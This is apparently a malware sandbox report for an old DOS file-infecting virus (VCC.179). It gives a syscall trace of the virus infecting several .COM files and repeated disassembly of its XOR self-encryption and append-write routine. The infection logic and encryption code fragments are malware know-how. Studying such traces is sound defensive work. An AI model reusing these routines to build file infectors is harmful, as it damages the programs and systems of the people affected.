Sample viewer

vx.netlux.org/Virus.DOS.VCC.179

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T22:15:11.206604423Z 26 PC: 12a6c | Set disk transfer address
2018-12-17T22:15:11.208211651Z 37 PC: 12a77 | Set interrupt vector (Interrupt = '1' AKA 'Character input')
2018-12-17T22:15:11.209329719Z 37 PC: 12a7b | Set interrupt vector (Interrupt = '3' AKA 'Auxiliary input')
2018-12-17T22:15:11.21099276Z 78 PC: 12ac1 | Find first file
2018-12-17T22:15:11.217361707Z 61 PC: 12b8a | Open file (Filename = 'SLEEP.COM')
2018-12-17T22:15:11.224011325Z 63 PC: 12b99 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:15:11.230266065Z 66 PC: 12ba8 | Move file pointer
2018-12-17T22:15:11.231936879Z 66 PC: 12bb7 | Move file pointer
2018-12-17T22:15:11.234661921Z 64 PC: 12bc3 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:15:11.241678221Z 66 PC: 12bcf | Move file pointer
2018-12-17T22:15:11.243047213Z 44 PC: 12bd3 | Get time 0x12bd3: mov byte ptr [bp + 0x1b6], dl
0x12bd7: call 0x12bed
0x12bda: mov ah, 0x40
0x12bdc: mov cx, 0x1b6
0x12bdf: lea dx, word ptr [bp + 6]
0x12be3: int 0x21
0x12be5: call 0x12bed
0x12be8: mov ah, 0x3e
0x12bea: int 0x21
0x12bec: ret
0x12bed: lea si, word ptr [bp + 0x19]
0x12bf1: mov cx, 0x17e
0x12bf4: xor byte ptr [si], 0
0x12bf7: inc si
0x12bf8: dec cx
0x12bf9: jne 0x12bf4
0x12bfb: ret
0x12bfc: add word ptr [bx], di
0x12bfe: aas
0x12bff: aas
2018-12-17T22:15:11.245594591Z 64 PC: 12be5 | Write file or device (Write 438 bytes on handle 5)
2018-12-17T22:15:11.259230382Z 62 PC: 12bec | Close file
2018-12-17T22:15:11.267510335Z 79 PC: 12ac1 | Find next file
2018-12-17T22:15:11.28107732Z 61 PC: 12b8a | Open file (Filename = 'PRINT.COM')
2018-12-17T22:15:11.28862756Z 63 PC: 12b99 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:15:11.294885563Z 66 PC: 12ba8 | Move file pointer
2018-12-17T22:15:11.296724816Z 66 PC: 12bb7 | Move file pointer
2018-12-17T22:15:11.298298888Z 64 PC: 12bc3 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:15:11.301088675Z 66 PC: 12bcf | Move file pointer
2018-12-17T22:15:11.308786599Z 44 PC: 12bd3 | Get time 0x12bd3: mov byte ptr [bp + 0x1b6], dl
0x12bd7: call 0x12bed
0x12bda: mov ah, 0x40
0x12bdc: mov cx, 0x1b6
0x12bdf: lea dx, word ptr [bp + 6]
0x12be3: int 0x21
0x12be5: call 0x12bed
0x12be8: mov ah, 0x3e
0x12bea: int 0x21
0x12bec: ret
0x12bed: lea si, word ptr [bp + 0x19]
0x12bf1: mov cx, 0x17e
0x12bf4: xor byte ptr [si], 0x3e
0x12bf7: inc si
0x12bf8: dec cx
0x12bf9: jne 0x12bf4
0x12bfb: ret
0x12bfc: add word ptr [bx], di
0x12bfe: aas
0x12bff: aas
2018-12-17T22:15:11.311006154Z 64 PC: 12be5 | Write file or device (Write 438 bytes on handle 5)
2018-12-17T22:15:11.313674629Z 62 PC: 12bec | Close file
2018-12-17T22:15:11.337259049Z 79 PC: 12ac1 | Find next file
2018-12-17T22:15:11.339754479Z 61 PC: 12b8a | Open file (Filename = 'HELLO.COM')
2018-12-17T22:15:11.346037144Z 63 PC: 12b99 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:15:11.353220414Z 66 PC: 12ba8 | Move file pointer
2018-12-17T22:15:11.354588961Z 66 PC: 12bb7 | Move file pointer
2018-12-17T22:15:11.35584793Z 64 PC: 12bc3 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:15:11.35904753Z 66 PC: 12bcf | Move file pointer
2018-12-17T22:15:11.360353519Z 44 PC: 12bd3 | Get time 0x12bd3: mov byte ptr [bp + 0x1b6], dl
0x12bd7: call 0x12bed
0x12bda: mov ah, 0x40
0x12bdc: mov cx, 0x1b6
0x12bdf: lea dx, word ptr [bp + 6]
0x12be3: int 0x21
0x12be5: call 0x12bed
0x12be8: mov ah, 0x3e
0x12bea: int 0x21
0x12bec: ret
0x12bed: lea si, word ptr [bp + 0x19]
0x12bf1: mov cx, 0x17e
0x12bf4: xor byte ptr [si], 0x44
0x12bf7: inc si
0x12bf8: dec cx
0x12bf9: jne 0x12bf4
0x12bfb: ret
0x12bfc: add word ptr [bx], di
0x12bfe: aas
0x12bff: aas
2018-12-17T22:15:11.362523398Z 64 PC: 12be5 | Write file or device (Write 438 bytes on handle 5)
2018-12-17T22:15:11.371208696Z 62 PC: 12bec | Close file
2018-12-17T22:15:11.379455033Z 79 PC: 12ac1 | Find next file
2018-12-17T22:15:11.382005999Z 61 PC: 12b8a | Open file (Filename = 'PHANG.COM')
2018-12-17T22:15:11.388970752Z 63 PC: 12b99 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:15:11.409827498Z 66 PC: 12ba8 | Move file pointer
2018-12-17T22:15:11.411151759Z 66 PC: 12bb7 | Move file pointer
2018-12-17T22:15:11.41394759Z 64 PC: 12bc3 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:15:11.416598748Z 66 PC: 12bcf | Move file pointer
2018-12-17T22:15:11.417971452Z 44 PC: 12bd3 | Get time 0x12bd3: mov byte ptr [bp + 0x1b6], dl
0x12bd7: call 0x12bed
0x12bda: mov ah, 0x40
0x12bdc: mov cx, 0x1b6
0x12bdf: lea dx, word ptr [bp + 6]
0x12be3: int 0x21
0x12be5: call 0x12bed
0x12be8: mov ah, 0x3e
0x12bea: int 0x21
0x12bec: ret
0x12bed: lea si, word ptr [bp + 0x19]
0x12bf1: mov cx, 0x17e
0x12bf4: xor byte ptr [si], 0x44
0x12bf7: inc si
0x12bf8: dec cx
0x12bf9: jne 0x12bf4
0x12bfb: ret
0x12bfc: add word ptr [bx], di
0x12bfe: aas
0x12bff: aas
2018-12-17T22:15:11.429538235Z 64 PC: 12be5 | Write file or device (Write 438 bytes on handle 5)
2018-12-17T22:15:11.432430225Z 62 PC: 12bec | Close file
2018-12-17T22:15:11.453875843Z 79 PC: 12ac1 | Find next file
2018-12-17T22:15:11.458811259Z 61 PC: 12b8a | Open file (Filename = 'PRINTA~1.COM')
2018-12-17T22:15:11.466112517Z 63 PC: 12b99 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:15:11.472566761Z 66 PC: 12ba8 | Move file pointer
2018-12-17T22:15:11.474207083Z 66 PC: 12bb7 | Move file pointer
2018-12-17T22:15:11.476058023Z 64 PC: 12bc3 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:15:11.478712321Z 66 PC: 12bcf | Move file pointer
2018-12-17T22:15:11.480088102Z 44 PC: 12bd3 | Get time 0x12bd3: mov byte ptr [bp + 0x1b6], dl
0x12bd7: call 0x12bed
0x12bda: mov ah, 0x40
0x12bdc: mov cx, 0x1b6
0x12bdf: lea dx, word ptr [bp + 6]
0x12be3: int 0x21
0x12be5: call 0x12bed
0x12be8: mov ah, 0x3e
0x12bea: int 0x21
0x12bec: ret
0x12bed: lea si, word ptr [bp + 0x19]
0x12bf1: mov cx, 0x17e
0x12bf4: xor byte ptr [si], 0x49
0x12bf7: inc si
0x12bf8: dec cx
0x12bf9: jne 0x12bf4
0x12bfb: ret
0x12bfc: add word ptr [bx], di
0x12bfe: aas
0x12bff: aas
2018-12-17T22:15:11.483133667Z 64 PC: 12be5 | Write file or device (Write 438 bytes on handle 5)
2018-12-17T22:15:11.486181337Z 62 PC: 12bec | Close file
2018-12-17T22:15:11.494135653Z 79 PC: 12ac1 | Find next file
2018-12-17T22:15:11.498278802Z 61 PC: 12b8a | Open file (Filename = 'MANDEL.COM')
2018-12-17T22:15:11.505264711Z 63 PC: 12b99 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:15:11.512038968Z 66 PC: 12ba8 | Move file pointer
2018-12-17T22:15:11.515588608Z 66 PC: 12bb7 | Move file pointer
2018-12-17T22:15:11.517752329Z 64 PC: 12bc3 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:15:11.520779241Z 66 PC: 12bcf | Move file pointer
2018-12-17T22:15:11.523386639Z 44 PC: 12bd3 | Get time 0x12bd3: mov byte ptr [bp + 0x1b6], dl
0x12bd7: call 0x12bed
0x12bda: mov ah, 0x40
0x12bdc: mov cx, 0x1b6
0x12bdf: lea dx, word ptr [bp + 6]
0x12be3: int 0x21
0x12be5: call 0x12bed
0x12be8: mov ah, 0x3e
0x12bea: int 0x21
0x12bec: ret
0x12bed: lea si, word ptr [bp + 0x19]
0x12bf1: mov cx, 0x17e
0x12bf4: xor byte ptr [si], 0x4f
0x12bf7: inc si
0x12bf8: dec cx
0x12bf9: jne 0x12bf4
0x12bfb: ret
0x12bfc: add word ptr [bx], di
0x12bfe: aas
0x12bff: aas
2018-12-17T22:15:11.526423889Z 64 PC: 12be5 | Write file or device (Write 438 bytes on handle 5)
2018-12-17T22:15:11.534968195Z 62 PC: 12bec | Close file
2018-12-17T22:15:11.544808556Z 79 PC: 12ac1 | Find next file
2018-12-17T22:15:11.547843506Z 61 PC: 12b8a | Open file (Filename = 'PAH.COM')
2018-12-17T22:15:11.554711454Z 63 PC: 12b99 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:15:11.562182512Z 66 PC: 12ba8 | Move file pointer
2018-12-17T22:15:11.564080681Z 66 PC: 12bb7 | Move file pointer
2018-12-17T22:15:11.565984253Z 64 PC: 12bc3 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:15:11.570096943Z 66 PC: 12bcf | Move file pointer
2018-12-17T22:15:11.572039574Z 44 PC: 12bd3 | Get time 0x12bd3: mov byte ptr [bp + 0x1b6], dl
0x12bd7: call 0x12bed
0x12bda: mov ah, 0x40
0x12bdc: mov cx, 0x1b6
0x12bdf: lea dx, word ptr [bp + 6]
0x12be3: int 0x21
0x12be5: call 0x12bed
0x12be8: mov ah, 0x3e
0x12bea: int 0x21
0x12bec: ret
0x12bed: lea si, word ptr [bp + 0x19]
0x12bf1: mov cx, 0x17e
0x12bf4: xor byte ptr [si], 0x54
0x12bf7: inc si
0x12bf8: dec cx
0x12bf9: jne 0x12bf4
0x12bfb: ret
0x12bfc: add word ptr [bx], di
0x12bfe: aas
0x12bff: aas
2018-12-17T22:15:11.574816462Z 64 PC: 12be5 | Write file or device (Write 438 bytes on handle 5)
2018-12-17T22:15:11.578099974Z 62 PC: 12bec | Close file
2018-12-17T22:15:11.586955553Z 79 PC: 12ac1 | Find next file
2018-12-17T22:15:11.590621265Z 61 PC: 12b8a | Open file (Filename = 'TEST.COM')
2018-12-17T22:15:11.597350218Z 63 PC: 12b99 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:15:11.600765868Z 62 PC: 12bec | Close file
2018-12-17T22:15:11.602917355Z 79 PC: 12ac1 | Find next file
2018-12-17T22:15:11.605647232Z 59 PC: 12ad2 | Change current directory
2018-12-17T22:15:11.610976439Z 26 PC: 12adb | Set disk transfer address
2018-12-17T22:15:11.612390577Z 9 PC: 12aed | Display string (String= 'IT IS THEM!!!!!!! Hope you like ants! ')